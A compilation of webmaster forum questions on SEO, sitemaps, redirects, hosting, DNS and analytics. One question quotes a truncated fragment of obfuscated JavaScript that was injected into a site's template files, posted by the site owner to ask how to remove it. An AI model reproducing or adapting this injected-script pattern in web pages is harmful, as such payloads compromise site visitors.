Can't generate a sitemap!

Having a real problem here, I've tried lots of services to sort this including http://www.xml-sitemaps.com/ as well as software and a PHP script. Basically my domain is http://gamingdeluxe.co.uk/ Whenever I run it through a sitemap generator it ONLY finds that 1 page, and doesn't follow any of the links. However robots.txt is setup as               User-agent: *     Allow: /      so that shouldn't be a problem? I found a Java crawler called DRKSpiderJava and it crawled my site sucessfuly—shame no export to .xml feature. so they seem to be crawlable. Any ideas why I cant generate one?


best way of getting the dimension of a selection in photoshop

When converting **psd** to **(x)html** , there's this time that you want to get the height/width of a particular selection. For example, you have an item which is to be converted as `<div>` in coding. Then the `<div>` requires a fixed width/height. How would you get it from the **psd**? My way is to crop the **psd** , then press `ctrl`+`alt`+`i` to get image size window. Is there a better way than this? Cause sometimes, cropping takes time depending on the **psd** file. I wanna hear it from the pro webmasters. Thanks.


How to test the migration of a domain without actually changing the domain?

I have a somewhat complicated situation. We have a blog let's say at `myblog.com` and it is running fine. However, we now want to cut the budget and use a free hosting service `isgreat.org`. The service allows us to let a domain point to it so that we can host our blog. The problem is, now I'll have to change the domain's HOST record in order to start testing it. I obviously want a way to test it before actually changing anything. Using an alias for `test.myblog.com` requires the domain to be managed in the service's control panel, which I don't want either. So, the question is, can I type the IP address of the host in the browser, and somehow tell it that I am referring to it under the domain name `myblog.com`, so that it will show me my blog, instead of a default page?


how to create Joomla templates?

I see a lot of sites selling Joomla templates at a premium but most of them look simple enough to build. Where can I find some tutorials to create such templates which I can provide users for free?


Third-party SaaS will also host our web site. They want our registrar username and password. Is this normal?

I'm In a situation that's slightly different from this question.   * Why would anyone need my registrar information for a new web site? We currently host our own web server and mail server. We're moving to a SaaS accounting and practice management service. One option is to also let them host our website and email. Part of their process requires us to provide them our username and password to our domain registrar. Here's how our situation is different from the other question.   * We're already registered for the next 10 years. (We have 9 years left.)   * Our registrar doesn't provide DNS services. AT&T, our ISP, does.   * Updating the administrative and technical contacts should be a one-time thing, right?  Given that situation, can anyone imagine any legitimate business reason for them to require the username and password to our registrar account? Aren't we risking giving away our domain name by turning that information over to them? * * * Edit: I told them I didn't have any problem letting them change our DNS records, but that our registrar (networksolutions.com) didn't have anything to do with that. AT&T (sbcglobal.net) is our SOA; I have instructions for how to tell AT&T to change our DNS records. Their response: We will be hosting the new site, so there will be no other way to change your DNS unless we have the domain registrar since we use the domain providers nameservers. My interpretation: The domain _provider_ 's nameservers are what I'd see if I did `whois`.               $ whois my-domain-name.com     [snip]     Registrar: NETWORK SOLUTIONS, LLC.     Whois Server: whois.networksolutions.com     Referral URL: http://www.networksolutions.com/en_US/     Name Server: NS1.SBCGLOBAL.NET     Name Server: NS2.SBCGLOBAL.NET      So they need to talk to the people who administer NS1.SBCGLOBAL.NET (AT&T), right? Is there _anything_ NetworkSolutions can do to change those DNS records? There _is_ something NetworkSolutions can do, but I'm not sure it applies to us. (Emphasis added.) > Advanced DNS Records are pre-configured to utilize your Network Solutions® > services. [catcall: We have no Network Solutions services besides > registration. We currently have our own web server and our own mail server.] > Advanced users may wish to modify these records in order to add new hosts to > the domain, change IP addresses, or modify where email messages are > delivered. This option is helpful if you want to keep one of your Network > Solutions services active (e.g., your emailbox) and host your other service > (e.g., your website) with another provider. > > **In order to use Advanced DNS Manager, your Domain Name Servers must be > moved to Network Solutions managed Name Servers.**


Is there any issue with using the word Official in a domain name?

I want to grab a new domain name for a site I look after but many of the best word combinations are taken. Is there any legal issue with using the word official in a domain name? For example: http://www.OfficialDentistDirectory.com or http://www.OfficialWallpaperMerchants.com


Can CSS be copyrighted?

I know CSS on a website is protected under the website's copyright since it is considered part of the overall design. I also know that images used in CSS are copyrightable. How about when CSS is used to create images? There is a CSS3 icon set that has a $25 license fee. Another developer claims those images to be copyrighted and that it is illegal to use any of the icons unless you pay the fee. I say you cannot copyright a chunk of code and if I recreate an arrow or disc icon in my CSS (whether I copy his code or write my own) he has no recourse. Can CSS, by itself, be copyrighted?


Ways for a beginner to network out and find customers for web development

I am new to web development. I have done a lot of studying on my own and created some projects on my own. I have reached the point where I feel that my skill will not progress much without more practice experience. I know that it is one thing to build a project to my specks and it is quite another to meet someone else's requirements. I have been working in ASP.NET and have learned quite a bit of HTML, CSS JavaScript. In my day job a work regularly with SQL and SQL Server. If you have any suggestion it would be much appreciated.


netblock ip - own hosting - home servers

I host 2 websites that generate a pretty substantial traffic (about 6000 unique visitors a day both). I have business Internet at home and I own one static IP from my ISP. I run my own servers. However, I want to know why some other websites when I run a search on:               http://whoishostingthis.com/      OR               http://infosniper.net/      display the provider or hosted company as themselves, even though they are not crazy big sites, but my site is displayed as being hosted by my ISP. Is there a way to change this?


Strange Javascript code in my html pages

I've been warned up today by my friend who owns a website I made for him. I've just found that many files from the template directory have been modified today and in every of them, I can find this strange JavaScript code :               <!--0c0896--><script type="text/javascript" language="javascript" bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["</script><!--/0c0896-->      It looks like a virus... Any idea about how to remove it ?


Google banned my site, how can I clear virus from my site?

When you enter URL of the websites in a web-browser, warning is shown. How can I solve this problem?


Why is Google Webmaster Tools crawling invalid URLS and showing 500 errors?

Google Webmaster tools is reporting 12k+ 500 errors. Eeek! None of the URLS are valid- they all contain www.youtube.com. First, why is Google crawling these URLS if they don't exist? I supplied a sitemap, and they are of course not in the sitemap. I don't have a robots.txt blocking anything. I've checked for invalid redirects--none, and checked for unclosed tags or something that would throw www.youtube.com into the URL by accident--none. In every 'linked from', the referring URL is also a bad URL, with www.youtube.com in it. The Google Tools report no malware, and I can't check the server logs because the host won't give me access. Really stuck!! Any ideas appreciated!


Should I set up standard email accounts? What are they?

A long time ago one used to be able to count on domains having addresses like `webmaster@example.com`, `postmaster@example.com`, or `abuse@example.com` ... is this convention dead? Note: I always try to make sure to make a contact available on the websites I put up, so people can contact us if necessary. But are there reasons to handle these or other "standard" email addresses I might not be thinking of? I set up less email addresses than I used to since spam got so awful, and a "predictable" email address just seems to be an invitation to the lousy spammers.


What kind of ad format best for site header?

I have room in the header of my website for ads. I've tried 480x60 banner ads and text ads from several networks, relevant to the subject matter of the website and every type of ad has performed very poorly. Skyscraper ads in the left nav perform much better. Are there best practices or research that deals with the best type of ad to place in the header of a website? Or, is there a common ratio that relates performance of banner ads vs. skyscraper ads?


Linking a facebook app's page to an existing facebook business page

I have a facebook app page, and a separate facebook business profile page. The business page was created, but not by me, some time before the app and its page were created. **Is there any way to connect the two pages, or import the content and friends from one to the other**? The older profile page has some content; a set of friends and wall posts that I don't want to lose. It was created before I had a chance to set up an app page. Since the app was created more recently, it does not have any content posted to it. I intended the app page to eventually hold some advertising info for my main website itself (non-canvas, just using fb for the connect api etc). The idea being that as people sign up on my site through facebook's OAuth, I could use the graph api to post to their wall. The wall posts are working as expected but naturally they are directing users to the facebook app page, which has no content, friends etc. I'd prefer to be directed to the original business page, where the party is really happening. Now it seems that the two pages are completely separate; what would I need to do to direct the users to the business page?


Advertising Platform CMS

I would like to know if there is any "advertising platform" cms arround, in order to host affiliate marketing tags / banners / etc Thanks


Why can using a CMS be bad for SEO?

I often hear and read that if you are serious about SEO you should avoid using a CMS. Are there any credible reasons as to why a CMS can be bad for SEO/Website optimisation?


How to add an exception to this rewrite rule

I need to change this so that one file in wp-admin is not forced through https:               # add a trailing slash to /wp-admin     RewriteCond %{REQUEST_URI} ^.*/wp-admin$     RewriteRule ^(.+)$ https://%{SERVER_NAME}/$1/ [R=301,L]      This forces all requests to /wp-admin through SSL but it is breaking a wordpress plugin which needs to access wp-admin/admin-ajax.php. Is there a way to adjust the rule so that it will allow non encrypted requests to that one file? thanks!


Pros/Cons of Interlinked Landing Pages

Today on Google's Official Webmaster blog they posted about running multiple sites with similar content, here. After reading it and looking at the comments I noticed two things. First Google doesn't seem to respond to the great questions people have. Secondly, this question from Autocrat struck a cord with me: > --- Interlinking mutually owned sites --- > > Some people run multiple sites for the same niche, or for highly > similar/related niches/terms. They then link between them, bolstering their > apparent popularity as well as attempting to increase their relevancy for > specific terms via link text. Where I work they believe there is value in buying many domain names related to its products. They post unique content on each related domain except they reuse .pdf documents. They also include links to our main website and other landing sites. They use Adword campaigns specific to each domain to bring paid traffic to the site with the hopes of driving customers to the main site. They have done this for years and it takes a ton of time to keep these sites up. Also, it is tough to measure if we get value from them. My questions are:   * Is there really any benefits of having these external landing pages to the site? .   * Would it be more valuable to move the landing page content to inside of the site?    * Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?


Google indexing pages with #! although we don't have any

Our company has developed a Single Page Application using AngularJS and its routing. Google indexed our site decently with JavaScript but it did not index some pages very well so we have developed an HTML only version. We have followed the Ajax Crawling Specification posted here and have a `<meta name='fragment' content='!'>` tag and canonical urls. We expect `http://www.example.com/foo/bar` to be fetched from `http://www.example.com/?_escaped_fragment_=/foo/bar`. However, we have found out that when we rolled the AJAX specification we now have all pages indexed twice, once with the JavaScript version as `http://www.example.com/foo/bar` and once with the new version as `http://www.example.com/#!/foo/bar`. This is harmful to us since it's duplicate content and also mis-representing out site. I have tried looking for similar questions here and in the Google product forum but could not come up with anything.


My colleague can't visit our website through her provider after long downtime

We did a frontpage update some days ago that caused the site to crash. The site was down for several hours. After troubleshooting, we concluded that we needed to cache more content. It had been run too many queries. After solving that and rebooting of server, we here in Sweden and Norway were again able to visit the site. But a colleague in Tunisia couldn't. It seems to work from another internet provider but not her own. What could have happened? And what should we do? **Edit:** I should add: She is able to visit the site through tunnel at anonymouse.org.


Website stopped appearing on Google results

I have a website with a Page Rank 3. Yesterday it was listed in Google as the second link (under a specific Hebrew keyword). 12 hours later I checked it with my Google Monitor tool and it seems my website doesn't appear in Google search results anymore.


How do I tell blogger which image is the thumbnail to use in data:post.thumbnailUrl?

I recently started with blogger. I was tweaking the homepage a bit to display thumbnail and post excerpts with read more link. A lot of websites say to use this kind of code:                 <b:if cond='data:blog.pageType != "index"'>           <b:if cond='data:post.snippet'>           <b:if cond='data:post.thumbnailUrl'>               <div class='Image thumb'>                 <img expr:src='data:post.thumbnailUrl'/>               </div>           </b:if>             <data:post.snippet/>           <b:else/>             <data:post.body/>           </b:if>       <b:else/>       <data:post.body/>       </b:if>      But can we tell blogger what's in `data:post.thumbnailUrl`? For some people, blogger will just pick an image magically from their post. How can I decide which thumbnail will be used?


What is the name of the widget which slides in at the bottom of the page and recommends more articles for reading?

I see this on more and more pages. I can't show an example right know, but the widget is a small box sliding in at the right bottom of the page and it usually says "Did you read this?" or something like that and shows an article title. Is there a name for this widget? Is it a jquery plugin or part of some other javascript library? I'm looking for its name, so I can get more info about it.


Does anyone knows a good Facebook chat script?

I'm looking for a facebook chat script.. that can handle a large number of users.. does anyone knows one? I need one urgent and please post one that you had experience with.


Search engine bots accessing strange URLs

We have ELMAH enabled on our site and get errors whenever a _Page Not Found_ error is triggered on the website. We have recently redesigned a new website and so we understand that search engine robots might have previously indexed pages which they try to access and result in a _Page Not Found_ errors. For this reason, we have set up permanent redirects for such previously indexed pages to the respective new pages. The website in mention is `www.chambercollege.com` and for example, a previously indexed URL was `www.chambercollege.com/special-offers.aspx`. This page is no longer accessible so we have created the necessary permanent redirect to redirect to the respective page on `www.chambercollege.com/en/content/special-offers-161/`. Now we are starting to receive _Page Not Found_ errors of search engine bots (e.g. MSN bot) trying to access the URL `www.chambercollege.com/special- offers.aspx/images/shadow_right.jpg/`. Any idea how could a search engine make up that strange URL and whether you have any suggestions of what to do best?


Where can I get my website critiqued

As a fairly new web designer to the industry, I am looking to improve my designs and usability of my websites. Where can I submit my website to get peer-reviewed or professionally critiqued, preferably for free?


Inode Usage on Joomla Website

I have a joomla website on shared hosting at siteground.com in the control panel, i see this message that i have exceeded my inode usage of 150,000. any tips to reduce this?


How to permanently remove my blog post from Google's index?

I want to remove some of my old posts from Google index. I have added rel=nofollow tag in all my posts then from web master tool i have used removed URL option. After two days my post was removed from Google then i have also removed from my website. But after few days posts is re indexed in Google again which really surprised me even post is no longer active. I want to ask how can i removed this permanently and what is the right way to remove any posts? Here is Google index result of that post


Is it possible to play a external (e.g. from youtube) flash-video with html5 on my site?

I would like to use my site as a "gateway" for watching flash-videos in HTMl5.. Is this possible? What are the requirements?


With a new company name, is it better to switch domains or use an alias from an SEO perspective?

I have a customer who's company has changed names from "CompanyX" to "BusinessY". Their domain is `companyx.com`, and have registered their new domain, `businessy.com`, with a CNAME to `companyx.com`. Would it be better from an SEO perspective to have it the other way around; have `businessy.com` as the main domain and `companyx.com` as a CNAME? The site is new but the content is almost identical, except that all occurrences of "CompanyX" have been changed to "BusinessY".


Apache webserver user setup and security issues

I have a server running Centos 5.6/PHP/MySQL etc that will only host one website all the time. **New question** Is there any security implication on leaving a single website hosted in the default location of /var/www/html/ versus the common location of /home/user/? **Original question** Does it make any sense* to have Apache webserver host the account in the home folder (/home/user) instead of the default location of /var/www/html? *Sense mean performance benefit, security reasons, etc. Thank you.


What the hell is wrong with Alexa Ranking?

Yesterday before I went to bed, I checked the Alexa ranking for my website and it was somewhere in the ~4 million but today when I woke up, it was back at what it used to be months ago which was 18 million. WTF? So when I first created the website, my Alexa ranking was 18 million then it dropped to 12 million then 7 million and yesterday it dropped to 4 million and today in the morning was back to 18 million. I mean nothing has changed from yesterday, everything is the same. I checked my Google Webmaster Tools and Google Analytics and there's nothing wrong.


How to find who's accessing my server? My server is Ubuntu

I want to know all the people who access my server, is there a log that shows when and how the people access my server? --EDIT-- Sorry for not providing any more details awhile ago. My server is Ubuntu 10.04 LTS running in Linode. I heard numerous scary story of hackers trying to hack a server, so I want to know where are the logs that will show me who accessed my server by ssh, or anything that can put my server in danger. I have installed the LAMP stack in my server. That's all I have ever installed.


How can I force a certain URL for Google to use in search results?

Each page on my site can be accessed by a shortened URL and normal "long" URLs. The shortened URL redirects to the long URL and the long URL includes an optional title that's not parsed (much like on this site, where `http://webmasters.SE/questions/7/accepting-money`... is equivalent to `http://webmasters.SE/questions/7`). When pages show up in Google search results, there is a mixture of three kinds of URL.   * `http://site.com/Ab1C.html`   * `http://site.com/content/123/full_name`   * `http://site.com/content/123` Is there a way to encourage Google to use a specific format in the results?


Will Google follow HTML refresh?

I want to move my current Tumblr blog to static HTML blog. Currently I am using a custom domain, I am planning on doing the move when Google sees domain name change. I am considering two options:   1. Buying a hosting service   2. Using GitHub pages Buying a hosting service would probably mean I am going to pay for lots of things that I don't need like PHP, MySQL, e-mail service etc. On the other hand, if I use GitHub pages, I can't use _.htaccess_ file to make 301 redirects. I want to change my URL structure and this is important to me. I was wondering if I use:               <meta http-equiv=refresh content="0; url=http://example.com/newurl" />      Would Google see it as 301 redirect, so that I won't use my search engine value?


Server 10Mbit bandwidth with a potential 100Mbit outburst

I'm planning to deploy 3 private servers on a web farm. I've got a quote for a hosting package from my ISP, yet it says the server will have 10Mbit bandwidth with a potential 100bitB burst. What does it mean? I need to serve flash games, each game about ~ 1MB, to 30K unique users a month. Will it suffice?


Google Analytics > Engagement > Duration - Make Custom Times

I need to find the following metrics. How many users stayed for 2 seconds, how many stayed for 5 seconds, how many stayed for 10 seconds. On Google Analytics they have something very similar but it generalizes everything from 0-10 seconds. Is it possible to make my own durations like 0-2, 2-5, and 5-10? ![enter image description here](http://i.stack.imgur.com/qAwmx.png)


Multiple keywords sites for local SEO

I found the answer to this question from a few years ago, but a lot has changed with Google since then. Would a technique with the one described here still work? Given that the small sites are more than just a page and the sites have unique content? I am a web developer and have a client who wants to hire me to do this, but I'm not sure its going to help or hurt him.


1024 bit to 2048 bit certificate differences in how we access our portal

Why now that we have gone from 1024 to 2048 do we need to put the www in front of our portal site when we never used to.


Removed pages from website - do I need to tell Google or will they fall off in time anyway?

This is a follow up question from here: Duplicate title tags due to translations Since asking the question I have removed the duplicated content that was being generated by language/translations on the website in question. In the answer I was told that I should return 410 errors for the removed duplicate pages, use _robots.txt_ to disallow crawling of duplicate pages, and to use the Fetch as Google feature to re-trigger crawling. My question is now that I've actually removed the pages (I've removed all of the translation options), will this self-correct when Google next crawls the site and notices that the links are gone? Do I still need to do the things recommended, given that the duplicated content is now gone?


Adding alt tag to image sharing code for advertising

I have an image hosting&sharing site like as imageshack. I'm generating html and bb codes for sharing uploaded images on other sites. I'm thinking about adding image alt tag to these generated codes and writing "served by sitename" into it. Would it be helpful for SEO or not ?


Does anyone use meta keywords besides google?

Can anyone tell me if there are any services that use meta keywords, and if so, what those services are? I know that google doesn't use them, but I'm wondering if anyone else does.


How to count unique clicks on a php value?

I have a website which generates every new user their own unique link (http://website.com/?id=12345). I want to include a click counter to show the user how much times their link has been visited. Does anyone know how to do this?


Running a program that extracts data from websites

I have created a program that searches through every player of a particular online game, visits their information webpage and extracts pieces of information about them (ie. their stats). The problem is that there are several millions of players. By my initial calculations, it may take over 10 days to complete, and will use up over 30gbs of data traffic. This is less than ideal when you have a 40gb monthly allowance and you want to run the program weekly. My question is this. How can I run my program quickly and cheaply. For instance, is it possible to buy some webspace with a webhosting company and run my java program somehow from there? I have seen some webhosting for around $2 per month, which seems pretty reasonable. Or is it a webserver I would be after. Although they seem rather expensive. I am only doing this for my own interest and wouldn't want to spent more than a few dollars. Thanks


.htaccess 301 Redirect for wildcard subdomains

I run WordPress in Network mode, which means I can have multiple websites running off one installation of WordPress. Each website runs as a subdomain. WordPress handles this using .htaccess, and a wildcard subdomain pointing to the location of WordPress, so there are no actual subdomains created in cPanel; just a wildcard subdomain in cPanel, ad WordPress handles the rest. I want to 301 redirect `http://one.example.com/portfolio` to `http://two.example.com/portfolio`. If I only have 1 .htaccess file in the web root of example.com, how do I achieve this? **EDIT** : I have used the following but it does not work:               RewriteCond %{HTTP_HOST} ^steve\.doig\.com\.au$ [NC]     RewriteRule ^/products.html http://tech.doig.com.au/products.html/ [L,R=301]      (this is to redirect `http://steve.doig.com.au/products.html` to `http://tech.doig.com.au/products.html`)


Register a domain name

Hello I am new at this and so i've come on here hoping I would get some answers. I would like to register a domain name and I already have a hosting site, so I would have to just make sure I change the DNS to the new hosting site. Can anyone tell me where I can go to just get a domain name ONLY without having to use their hosting since I already have another company hosting. I also need it to be affordable also.


Automatic registration in web-catalogs and SEO

They are a lot of tools, that can automatically submit my website to thousands of web-catalogs. Is it a good practice to increate rankings ? What are pros and cons against it ?


Is 'link building' a white-hat SEO activity?

Link-building is the process of manually building links in any way possible to show the site in question as having more of a value to search engines than it did previously. Therefore it's surely a black-hat SEO activity? * * * I'm at the stage where I'm trying to promote an online store I'm in the process of launching at the company I work for. I've done most of the initial legwork - domain, server, software, products, on-page seo, etc. All that's left now is to promote, promote, promote. I (like many others) would like most of our traffic to come from organic searches because it's both free and passive in many respects (yes, my time isn't free and so on, but lets assume it is for now) so it's a question of ranking well for what I think (based on my keyword research) the terms are that people search for where our site would be the most appropriate. As I said before, all on-page SEO is taken care of, meaning broadly speaking, how well we rank for said terms is down to how many links (or rather, 'how many links of a good quality') I can get pointing to my site and products with appropriate anchor text over our competitors (competitiors being not necessarily other online stores, but sites that rank well for those terms regardless of their purpose). I'm not new to the concepts of SEO, I understand the majority of concepts (it's actually quite simple, though most 'SEO' firms insist it isn't and will throw ridiculous terminology into the mix to boost their 'professional image') and whilst I understand everything, I just can't phathom why anyone would seek to try and build links manually. Link building entales essentially pestering webmasters to link to your site in question, when it's probably the last thing they care about doing for that particular day. Sure there are rare occassions when the site your building links for is genuinely relevant and interesting to the webmaster you're approaching for a link, but in some industries - especially the more 'niche' industries, these kinds of sites are far and few between. Rather than simply requesting links, many articles now go into the psychology of essentially manipulating people (webmasters, yes, they're people) into linking to their site under the pretences of a false relationship/friendship (sure, you can say it's genuine all you like but you would never have contacted them if you weren't after a link) and spending time on said relationship to the stage where they might link to you... once. Manual link building seems (well, IS) a very long-winded process with what is essentially very little reward when you consider that you won't continue to gain links if you stop. Major search engines use link counts as an organic method of determining which sites are relevant to what search terms and how they should rank and by building links, you are technically devaluing their efforts to evaluate your site. Surely by this measure, link-building isn't a white-hat process? I believe the smarter approach (if you were going to approach the webmaster of a site whose audience may find your site interesting and request they link to it) would be simply to send an email with a link asking them to take a look... then if they genuinely found it interesting they might link to it.... and I fear I may have just contradicted myself with my earlier psychology approach. Should 'link-building' as an activity consist of creating link-worthy exceptional content that is likely to accrue links naturally with age as opposed to the headless-chicken/goose-chase approach many SEO firms seem to undertake?


.htaccess mobile redirect issues

I'm trying to set up a mobile redirect for a site with 2 subfolders, and I cannot get both to work at the same time.   This is the structure of the site www.mysite.com/EN/ www.mysite.com/ES/ This is a bilingual site so each subfolder contains the files corresponding to each language version. Then I was using a 301 redirect, and setting up the index in /EN/ as the main index. Everything was getting redirected to it. I was using               DirectoryIndex index.html     Redirect /index.html http://www.mysite.com/EN/index.html      and several Rewritecond to redirect mysite.com and old urls to the new URL. It worked fine before I decided to add a mobile version -> m.mysite.com. I used the solution provided in http://stackoverflow.com/questions/3680463/mobile-redirect-using-htaccess, and it redirects my mobile version properly, but now the desktop is both working. Besides, my mobile version must be bilingual as well. * * * i'll do my best to clarify. My site is bilingual. I've created two subfolders (EN and ES) to hold the contents for each language. My desktop site requires some kind of redirect to find the right index (one of them at least, i decided to set the english language version as the main index) The script I've used was DirectoryIndex index.html Redirect /index.html http://www.mysite.com/EN/index.html Now, when i added mobile detection redirect (and it does take me to the mobile version on a mobile device), it seems to go to the usual default index on the desktop (www.mysite.com/index.html) which is _not_ **my** desktop index. Any suggestions?


Google Analitycs says source is Search Engine (100%)

I have a problem with my google analytics code, 'cause it says since 2 months that all traffic of my websites is directly from search engine, i'm really sure that must be a mistake 'cause i have made some email marketing and landing page campaing that could help to create referal traffic, maybe somethink goes wrong with the new version of the analytics or i forgot some settings. please any help is aceptable


International domains - best practices

I need to create a Russian website with a .ru domain extension. How would I go about this? What are some best practices for doing this?


Looking for a desktop application similar to jsFiddle

Is there a desktop application or IDE for Windows or GNU/Linux similar to _jsFiddle_ where I can insert my JavaScript code, HTML and CSS and see how it executes? I don't mind writing HTML, CSS and JavaScript in the places they are supposed to be, but what I don't want is the process of _Save changes   Open browser   Refresh   Edit   Save   Open Browser_   ...


Remove incorrect date from Google snippet

I saw another question regarding this, but it is dated two years back, and so I am hoping an answer is available now. I am a web developer at a website in which we are (and have been for years) the #1 search result. We have recently started using social meta tags for Twitter, Facebook, etc, causing Google to pick up and add an image to the snippet. We are still #1, but unfortunately, Google has also added the date June 22, 2005. Our click through rate has plummeted from 40%, to less than 2%. Removing the image removes the date as well, but we want the image to stay without keeping the date. We have no idea where Google is pulling the date from. The page in question was created well after 2005, and the video in the page was created in 2011. The page is also updated regularly to keep up with tax information. The date June 22, 2005 does not appear on the page. I have created a script that ran through all the numbers on the page to see if Google was mashing numbers together to pull out a Unix timestamp, but this was not the case either. I have also looked into other sites linking to us, and have still not found this date. Is there any way to keep the image in our Google snippet, while removing the date? Would it be better to just provide Google with a date, given that the information itself does not get updated often? Any help would be appreciated. EDIT: here is a screenshot ![serp screenshot](http://i.stack.imgur.com/daUWw.jpg)


Does using onclick on div's effect SEO?

I have a few elements on my page that uses onclick as the link, e.g:               <div class="service" onclick="location.href='<?php echo $fields->service_1_link; ?>'" style="cursor:pointer;">        <img class="service" src="<?php echo $fields->service_1_image; ?>" alt="<?php echo $fields->service_1_name; ?>" height="111" width="299" border="0" />

<?php echo $fields->service_1_name; ?>

      Does this have an impact on crawlers and SEO over say a normal link?


Hide new Blogger posts from appearing on homepage and make them visible only under a specific label?

I am using Blogger. I want to write some posts under a label, say "Puzzles". I don't want the posts to appear on home page of my blog (as they show up normally). I just want them to appear when some visitor clicks on the label "Puzzles," otherwise not. How can I do this without back-dating content?


Other ways to avoid Google PR to flow to some pages of your website?

I was looking at this website other day: www.matieventi.com Using Google toolbar I saw its HOME PAGE has a Google PR of 3, and its SERVIZI page (www.matieventi.com/exclusive-mati/) PR is 2. Nothing interesting about this. Then I looked at the other **main** pages (Contatti, Hotels, etc) and surprisingly their PR was all 0 (Google toolbar shows grey bar 'No PageRank info' at all).   * I thought: "well, they probably used nofollow/noindex to sculpt PR for those pages", but nothing, there is **no nofollow/noindex in the source code of all pages**.   * I thought: "well probably links to those pages are not visible in source code, coz' created with some tricky Javascript", but nothing, **links to those pages are visible with a clear written link in source code**.   * I thought: "well they probably removed those pages using robots.txt", but nothing **www.matieventi.com/robots.txt allows everything**. Moreover those **pages are indexed in Google** (for instance searching in Google for page 'Preventivi' shows that page is indexed).     1. Do you think they did some PR scuplting in order to obtain this?     2. Do you have an idea of what they did to obtain this? * * * P.S. plz avoid answers in the form: _"you should not scuplt PR because this and that, blah, blah, ..."_ , I know what Matt Cutts says on his blog, but I still see many people sculpting it at least for some pages, and Matt Cutts himself suggests to sculpt it for instance to avoid PR flow to a CART page in any ecommerce site, so it's not that clear. **Anyway I'm not interested in these type of discussion/suggestions.** Thanks,


Multilanguage site meta content-language tag

I have a website which is in 3 languages: English (primary), German and French. When a language is selected all of page's content is translated to the selected language (the page content is always in one language). My site structure looks like this:               www.mydomain.com (primary: english)     www.mydomain.com/de/ (german)     www.mydomain.com/fr/ f(rench)      Every page also contains links to other languages. Do I need to add the language attribute to the link? Like so:               Deutsch     Français     English      I've add all the appropriate meta tags, but don't know how to properly add the meta tags for content-language. Do I add all languages in the meta tag, like so:               <meta http-equiv="content-language" content="en, de, fr" />      Or do I add only the selected language: example: if German selected               <meta http-equiv="content-language" content="de" />      What's the proper way (SEO wise) to do this?


JavaScript based Audio player.

I am trying to find an Audio-Player, javascript based. I have tried a bunch of them, but was unable to find one with "Analytic", "Caption", "Control-Bar" etc other features. Can I have some suggestions, where I can find such an audio player. Preferably free. ;) Best Zeeshan


How to extend syndication of my site

Currently I am using feedburner, technorati, webmaster tools from google, and updating my RSS to twitter & facebook (via twitterfeed). However, I would like to lay out all of the syndication tools that are generally made use of. As googling this is more than a garbled mess of garbage links, it seems a vetted list would be in order here. What other syndication tools are out there that provide a 'set it and forget it' value?


How to set the icon and channels for IE9's “Pinned Sites”

IE9 beta appeared today, and one of the most prominent features is Pinned Sites: drag an url/favorite/whatever to the taskbar, and you create a “Pinned Site”, which follows some custom rules (favicon presented in application chrome, back/fwd button turn the color of the favicon!). What is interesting is that:   1) Some sites are pinned to the taskbar not with their favicon, but rather with a bigger icon, à la iOS home screen favorite. How can I set this? 2) Developers can set “channels” or “jump lists” for even quicker access that are presented when (right-?)clicking the icon. How do I do this?


Videos being accessible via web and mobile users

I have to make videos accessible to Blackberry, iPhone and web users. After some initial research I figured that .MP4 seems to be the best format to do this in. However, my question is: What is the best way to go about resizing videos for each platform? Is it best to provide one standard size for all three platforms? Or should I detect user agents and resize? Any ideas would be fantastic.


quick wiki solution with inline editing [and AJAX]?

I am trying to set up a site which will implement a fast, lightweight wiki engine:   * double click anywhere to append or change text   * press a green button to add a resource   * drag a link to reorder/add to another category   * expand or contract nodes/categories   * Ajax usage means no site refreshes I figure someone has already done such a wiki engine.


Is there a media player that works on HTTPS sites?

I'm currently using Yahoo! Media Player for a site that needs to play MP3 files that are stored on our server. In total, there's quite a bit more than the free limits at Soundcloud, but each file is only a few minutes long. YMP is pretty good, but causes security warnings on HTTPS pages, because it can only be served via HTTP. Is there an equivalent free player I can embed for the HTTPS pages? **EDIT:** Just to clarify, I'm initially looking for something that will scan the page and turn media links playable.


In Google Analytics, how can I determine the value of a page if no goals or revenue have been determined?

I have 4 years of data in Analytics with over 20 million pageviews for the entire site. No goals have ever been set up, and while the site is an ecommerce site, no ecommerce features in Google Analytics have ever been taken advantage of. So I have no way to determine what the actual value of a page is. I've been tasked with determining if a particular page on the site is worth keeping around. How might I use all standard data (pageviews, bounce rate, time on page, time on site, etc.) to help determine the value of this page? I really appreciate any help I can get!


Shared group calendar for ASP.NET

Can anyone point me towards a free group calendar solution in ASP.NET VB? Basically anyone in the company should be able to access it from their computer and make changes to it. I would assume its MSSQL sever based. ETA: It doesn't HAVE to be VB, C# or Silverlight would be OK, however I'm not too hot on either of those languages myself.


What is the difference between a homepage link with or without a trailing slash?

What is the difference between these two URLs:   * `http://example.com/`   * `http://example.com` Should we always add the final `/` or avoid it? Does it make a difference?


Why am I getting cgi-sys/defaultwebpage.cgi coming up when I browse my webpage?

I've recently set up a website with a smaller hosting company. The plan has a dedicated IP. They sent me emails to say it's all set up, but now their support channels are all unresponsive even though they say it's open 24 hours. In the File Manager in the cpanel I've put an `index.html` file in the `public_html` directory. But when I point my browser to the IP address given to me, it comes up with the `cgi-sys/defaultwebpage.cgi` page. What is the problem? I haven't set the name-servers for my domain yet, but that shouldn't be a problem because I am using the IP address in the browser. Note: I don't think I have access to `ssh`.


Redirect primary domain to parked domain

The problem is as follows: We already have registered domain name (example.com.hr) via a Croatian domain name provider. During the web hosting registration process, the registrar doesn't offer a field where I can input my own domain name, and basically forces me to register a .com domain name. Is there a way to redirect from the primary domain to a parked domain, or somehow register with Google and instruct them to absolutely ignore my primary domain to avoid any bad ranking issues? I guess I can do a redirect with PHP headers since I'll have WordPress installed, but I'm not sure how this affects SEO.


Is it worth spending money on SEO consulting and services?

Assuming one wants to launch a website with good reviews from beta-testers- users, is it worth spending money on Search Engine Optimization consulting/specialists or does a hacker with good IT skills and time to read articles/posts on the net can produce the same value by himself? Has anyone experience to share? Is the return worth the investment?


How to track Jwplayer video events with Universal Analytics?

What code do I add to Jwplayer javascript to get events like what video is playing, when it was watched to the end, watched in full display window and such?


How can I host videos on one server while using the bandwidth of others?

I have videos hosted on one of my servers, they simple stream from that server direct to users on my webpage using the DivX Web Player. NOTE I can use another player if needs must. Now I'm reaching the limit on my current connection and need to spread the bandwidth out across my other servers. How do I go about this only hosting the videos on one server and using the bandwidth of others?


